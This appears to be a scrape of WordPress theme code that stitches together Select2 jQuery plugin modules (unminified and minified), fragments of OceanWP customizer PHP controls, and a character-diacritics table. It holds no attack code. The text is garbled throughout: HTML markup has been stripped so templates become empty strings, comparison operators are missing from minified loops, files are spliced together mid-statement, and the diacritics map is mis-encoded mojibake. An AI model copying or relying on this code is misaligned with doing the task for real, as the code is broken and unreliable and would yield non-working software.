re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', Utils.GetData(this.$element[0], 'old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); Utils.RemoveData(this.$element[0]); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '' + '' + '' + '' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); Utils.StoreData($container[0], 'element', this.$element); return $container; }; return Select2; }); S2.define('select2/compat/utils',[ 'jquery' ], function ($) { function syncCssClasses ($dest, $src, adapter) { var classes, replacements = [], adapted; classes = $.trim($dest.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Save all Select2 classes if (this.indexOf('select2-') === 0) { replacements.push(this); } }); } classes = $.trim($src.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Only adapt non-Select2 classes if (this.indexOf('select2-') !== 0) { adapted = adapter(this); if (adapted != null) { replacements.push(adapted); } } }); } $dest.attr('class', replacements.join(' ')); } return { syncCssClasses: syncCssClasses }; }); S2.define('select2/compat/containerCss',[ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _containerAdapter (clazz) { return null; } function ContainerCSS () { } ContainerCSS.prototype.render = function (decorated) { var $container = decorated.call(this); var containerCssClass = this.options.get('containerCssClass') || ''; if ($.isFunction(containerCssClass)) { containerCssClass = containerCssClass(this.$element); } var containerCssAdapter = this.options.get('adaptContainerCssClass'); containerCssAdapter = containerCssAdapter || _containerAdapter; if (containerCssClass.indexOf(':all:') !== -1) { containerCssClass = containerCssClass.replace(':all:', ''); var _cssAdapter = containerCssAdapter; containerCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var containerCss = this.options.get('containerCss') || {}; if ($.isFunction(containerCss)) { containerCss = containerCss(this.$element); } CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter); $container.css(containerCss); $container.addClass(containerCssClass); return $container; }; return ContainerCSS; }); S2.define('select2/compat/dropdownCss',[ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _dropdownAdapter (clazz) { return null; } function DropdownCSS () { } DropdownCSS.prototype.render = function (decorated) { var $dropdown = decorated.call(this); var dropdownCssClass = this.options.get('dropdownCssClass') || ''; if ($.isFunction(dropdownCssClass)) { dropdownCssClass = dropdownCssClass(this.$element); } var dropdownCssAdapter = this.options.get('adaptDropdownCssClass'); dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter; if (dropdownCssClass.indexOf(':all:') !== -1) { dropdownCssClass = dropdownCssClass.replace(':all:', ''); var _cssAdapter = dropdownCssAdapter; dropdownCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var dropdownCss = this.options.get('dropdownCss') || {}; if ($.isFunction(dropdownCss)) { dropdownCss = dropdownCss(this.$element); } CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter); $dropdown.css(dropdownCss); $dropdown.addClass(dropdownCssClass); return $dropdown; }; return DropdownCSS; }); S2.define('select2/compat/initSelection',[ 'jquery' ], function ($) { function InitSelection (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `initSelection` option has been deprecated in favor' + ' of a custom data adapter that overrides the `current` method. ' + 'This method is now called multiple times instead of a single ' + 'time when the instance is initialized. Support will be removed ' + 'for the `initSelection` option in future versions of Select2' ); } this.initSelection = options.get('initSelection'); this._isInitialized = false; decorated.call(this, $element, options); } InitSelection.prototype.current = function (decorated, callback) { var self = this; if (this._isInitialized) { decorated.call(this, callback); return; } this.initSelection.call(null, this.$element, function (data) { self._isInitialized = true; if (!$.isArray(data)) { data = [data]; } callback(data); }); }; return InitSelection; }); S2.define('select2/compat/inputData',[ 'jquery', '../utils' ], function ($, Utils) { function InputData (decorated, $element, options) { this._currentData = []; this._valueSeparator = options.get('valueSeparator') || ','; if ($element.prop('type') === 'hidden') { if (options.get('debug') && console && console.warn) { console.warn( 'Select2: Using a hidden input with Select2 is no longer ' + 'supported and may stop working in the future. It is recommended ' + 'to use a ` <# _.each( data.choices, function( label, choice ) { #> <# } ) #> default ) ) { // $this->json['default'] = $this->default; // } else { // $this->json['default'] = $this->setting->default; // } // $this->json['value'] = $this->value(); // $this->json['choices'] = $this->choices; // $this->json['link'] = $this->get_link(); // $this->json['id'] = $this->id; // $this->json['svg_icon'] = $this->svg_icon(); // } // /** // * Returns an array of translation strings. // * // * @access protected // * @since 3.0.0 // * @param string|false $id The string-ID. // * @return string // */ // protected function svg_icon( $icon = 'angle_up' ) { // oceanwp_icon( $icon, false, 'icon-select-label' ); // } protected function render_content() { ?>
              choices as $key => $value ) { ?>

              {{{ data.label }}}

              {{{ data.description }}}
              fonts_list() ); } wp_enqueue_style( 'oceanwp-typography', OCEANWP_INC_DIR_URI . 'customizer/assets/min/css/typography.min.css', null ); } /** * Fonts List. * * @access public */ public function fonts_list() { ob_start(); ?> $content ]; } /** * Render the control's content. * Allows the content to be overriden without having to rewrite the wrapper in $this->render(). * * @access protected */ protected function render_content() { $this_val = $this->value(); $has_val = $this_val ? $this_val : esc_html__( 'Default', 'oceanwp' ); ?> 0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h":">",'"':""","'":"'","/":"/"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.__cache={};var e=0;return c.GetUniqueElementId=function(a){var b=a.getAttribute("data-select2-id");return null==b&&(a.id?(b=a.id,a.setAttribute("data-select2-id",b)):(a.setAttribute("data-select2-id",++e),b=e.toString())),b},c.StoreData=function(a,b,d){var e=c.GetUniqueElementId(a);c.__cache[e]||(c.__cache[e]={}),c.__cache[e][b]=d},c.GetData=function(b,d){var e=c.GetUniqueElementId(b);return d?c.__cache[e]&&null!=c.__cache[e][d]?c.__cache[e][d]:a(b).data(d):c.__cache[e]},c.RemoveData=function(a){var b=c.GetUniqueElementId(a);null!=c.__cache[b]&&delete c.__cache[b]},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('
                ');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a('
              • '),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var c=this;this.data.current(function(d){var e=a.map(d,function(a){return a.id.toString()});c.$results.find(".select2-results__option[aria-selected]").each(function(){var c=a(this),d=b.GetData(this,"data"),f=""+d.id;null!=d.element&&d.element.selected||null==d.element&&a.inArray(f,e)>-1?c.attr("aria-selected","true"):c.attr("aria-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(c){var d=document.createElement("li");d.className="select2-results__option";var e={role:"treeitem","aria-selected":"false"};c.disabled&&(delete e["aria-selected"],e["aria-disabled"]="true"),null==c.id&&delete e["aria-selected"],null!=c._resultId&&(d.id=c._resultId),c.title&&(d.title=c.title),c.children&&(e.role="group",e["aria-label"]=c.text,delete e["aria-selected"]);for(var f in e){var g=e[f];d.setAttribute(f,g)}if(c.children){var h=a(d),i=document.createElement("strong");i.className="select2-results__group";a(i);this.template(c,i);for(var j=[],k=0;k",{class:"select2-results__options select2-results__options--nested"});n.append(j),h.append(i),h.append(n)}else this.template(c,d);return b.StoreData(d,"data",c),d},c.prototype.bind=function(c,d){var e=this,f=c.id+"-results";this.$results.attr("id",f),c.on("results:all",function(a){e.clear(),e.append(a.data),c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("results:append",function(a){e.append(a.data),c.isOpen()&&e.setClasses()}),c.on("query",function(a){e.hideMessages(),e.showLoading(a)}),c.on("select",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("unselect",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("open",function(){e.$results.attr("aria-expanded","true"),e.$results.attr("aria-hidden","false"),e.setClasses(),e.ensureHighlightVisible()}),c.on("close",function(){e.$results.attr("aria-expanded","false"),e.$results.attr("aria-hidden","true"),e.$results.removeAttr("aria-activedescendant")}),c.on("results:toggle",function(){var a=e.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),c.on("results:select",function(){var a=e.getHighlightedResults();if(0!==a.length){var c=b.GetData(a[0],"data");"true"==a.attr("aria-selected")?e.trigger("close",{}):e.trigger("select",{data:c})}}),c.on("results:previous",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a);if(!(c<=0)){var d=c-1;0===a.length&&(d=0);var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top,h=f.offset().top,i=e.$results.scrollTop()+(h-g);0===d?e.$results.scrollTop(0):h-g<0&&e.$results.scrollTop(i)}}),c.on("results:next",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a),d=c+1;if(!(d>=b.length)){var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top+e.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=e.$results.scrollTop()+h-g;0===d?e.$results.scrollTop(0):h>g&&e.$results.scrollTop(i)}}),c.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted")}),c.on("results:message",function(a){e.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var b=e.$results.scrollTop(),c=e.$results.get(0).scrollHeight-b+a.deltaY,d=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=e.$results.height();d?(e.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(e.$results.scrollTop(e.$results.get(0).scrollHeight-e.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(c){var d=a(this),f=b.GetData(this,"data");if("true"===d.attr("aria-selected"))return void(e.options.get("multiple")?e.trigger("unselect",{originalEvent:c,data:f}):e.trigger("close",{}));e.trigger("select",{originalEvent:c,data:f})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(c){var d=b.GetData(this,"data");e.getHighlightedResults().removeClass("select2-results__option--highlighted"),e.trigger("results:focus",{data:d,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[aria-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var c=a('');return this._tabindex=0,null!=b.GetData(this.$element[0],"old-tabindex")?this._tabindex=b.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),c.attr("title",this.$element.attr("title")),c.attr("tabindex",this._tabindex),this.$selection=c,c},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),d.$selection.focus(),window.setTimeout(function(){d.$selection.focus()},0),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(c){a(document.body).on("mousedown.select2."+c.id,function(c){var d=a(c.target),e=d.closest(".select2");a(".select2.select2-container--open").each(function(){a(this),this!=e[0]&&b.GetData(this,"element").select2("close")})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html(''),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()})},e.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.attr("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('
                  '),a},d.prototype.bind=function(b,e){var f=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){f.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!f.options.get("disabled")){var d=a(this),e=d.parent(),g=c.GetData(e[0],"data");f.trigger("unselect",{originalEvent:b,data:g})}})},d.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('
                • ×
                • ')},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(a,b,c){function d(){}return d.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},d.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var d=this.$selection.find(".select2-selection__clear");if(0!==d.length){b.stopPropagation();var e=c.GetData(d[0],"data"),f=this.$element.val();this.$element.val(this.placeholder.id);var g={data:e};if(this.trigger("clear",g),g.prevented)return void this.$element.val(f);for(var h=0;h0||0===d.length)){var e=a('×');c.StoreData(e[0],"data",d),this.$selection.find(".select2-selection__rendered").prepend(e)}},d}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,d,e){var f=this;a.call(this,d,e),d.on("open",function(){f.$search.trigger("focus")}),d.on("close",function(){f.$search.val(""),f.$search.removeAttr("aria-activedescendant"),f.$search.trigger("focus")}),d.on("enable",function(){f.$search.prop("disabled",!1),f._transferTabIndex()}),d.on("disable",function(){f.$search.prop("disabled",!0)}),d.on("focus",function(a){f.$search.trigger("focus")}),d.on("results:focus",function(a){f.$search.attr("aria-activedescendant",a.id)}),this.$selection.on("focusin",".select2-search--inline",function(a){f.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){f._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),f.trigger("keypress",a),f._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===f.$search.val()){var d=f.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var e=b.GetData(d[0],"data");f.searchRemoveChoice(e),a.preventDefault()}}});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void f.$selection.off("input.search input.searchcheck");f.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void f.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&f.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;if(this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c){this.$element.find("[data-select2-tag]").length?this.$element.focus():this.$search.focus()}},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],g=["opening","closing","selecting","unselecting","clearing"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"â’¶":"A","A":"A","À":"A","Ã":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ä€":"A","Ä‚":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ç ":"A","Ä":"A","Çž":"A","Ả":"A","Ã…":"A","Ǻ":"A","Ç":"A","È€":"A","È‚":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ä„":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ç¢":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","â’·":"B","ï¼¢":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Æ‚":"B","Æ":"B","â’¸":"C","ï¼£":"C","Ć":"C","Ĉ":"C","ÄŠ":"C","ÄŒ":"C","Ç":"C","Ḉ":"C","Ƈ":"C","È»":"C","Ꜿ":"C","â’¹":"D","D":"D","Ḋ":"D","ÄŽ":"D","Ḍ":"D","á¸":"D","Ḓ":"D","Ḏ":"D","Ä":"D","Æ‹":"D","ÆŠ":"D","Ɖ":"D","ê¹":"D","DZ":"DZ","Ç„":"DZ","Dz":"Dz","Ç…":"Dz","â’º":"E","ï¼¥":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ä’":"E","Ḕ":"E","Ḗ":"E","Ä”":"E","Ä–":"E","Ë":"E","Ẻ":"E","Äš":"E","È„":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Æ":"E","ÆŽ":"E","â’»":"F","F":"F","Ḟ":"F","Æ‘":"F","ê»":"F","â’¼":"G","ï¼§":"G","Ç´":"G","Äœ":"G","Ḡ":"G","Äž":"G","Ä ":"G","Ǧ":"G","Ä¢":"G","Ǥ":"G","Æ“":"G","êž ":"G","ê½":"G","ê¾":"G","â’½":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Èž":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","â±§":"H","â±µ":"H","êž":"H","â’¾":"I","I":"I","ÃŒ":"I","Ã":"I","ÃŽ":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ã":"I","Ḯ":"I","Ỉ":"I","Ç":"I","Ȉ":"I","ÈŠ":"I","Ị":"I","Ä®":"I","Ḭ":"I","Æ—":"I","â’¿":"J","J":"J","Ä´":"J","Ɉ":"J","â“€":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","ê€":"K","ê‚":"K","ê„":"K","Ꞣ":"K","â“":"L","L":"L","Ä¿":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ä»":"L","Ḽ":"L","Ḻ":"L","Å":"L","Ƚ":"L","â±¢":"L","â± ":"L","êˆ":"L","ê†":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","â“‚":"M","ï¼­":"M","Ḿ":"M","á¹€":"M","Ṃ":"M","â±®":"M","Æœ":"M","Ⓝ":"N","ï¼®":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Å…":"N","Ṋ":"N","Ṉ":"N","È ":"N","Æ":"N","êž":"N","Ꞥ":"N","ÇŠ":"NJ","Ç‹":"Nj","â“„":"O","O":"O","Ã’":"O","Ó":"O","Ô":"O","á»’":"O","á»":"O","á»–":"O","á»”":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","ÅŒ":"O","á¹":"O","á¹’":"O","ÅŽ":"O","È®":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Å":"O","Ç‘":"O","ÈŒ":"O","ÈŽ":"O","Æ ":"O","Ờ":"O","Ớ":"O","á» ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","ÆŸ":"O","êŠ":"O","êŒ":"O","Æ¢":"OI","êŽ":"OO","È¢":"OU","â“…":"P","ï¼°":"P","á¹”":"P","á¹–":"P","Ƥ":"P","â±£":"P","ê":"P","ê’":"P","ê”":"P","Ⓠ":"Q","ï¼±":"Q","ê–":"Q","ê˜":"Q","ÉŠ":"Q","Ⓡ":"R","ï¼²":"R","Å”":"R","Ṙ":"R","Ř":"R","È":"R","È’":"R","Ṛ":"R","Ṝ":"R","Å–":"R","Ṟ":"R","ÉŒ":"R","Ɽ":"R","êš":"R","Ꞧ":"R","êž‚":"R","Ⓢ":"S","ï¼³":"S","ẞ":"S","Åš":"S","Ṥ":"S","Åœ":"S","á¹ ":"S","Å 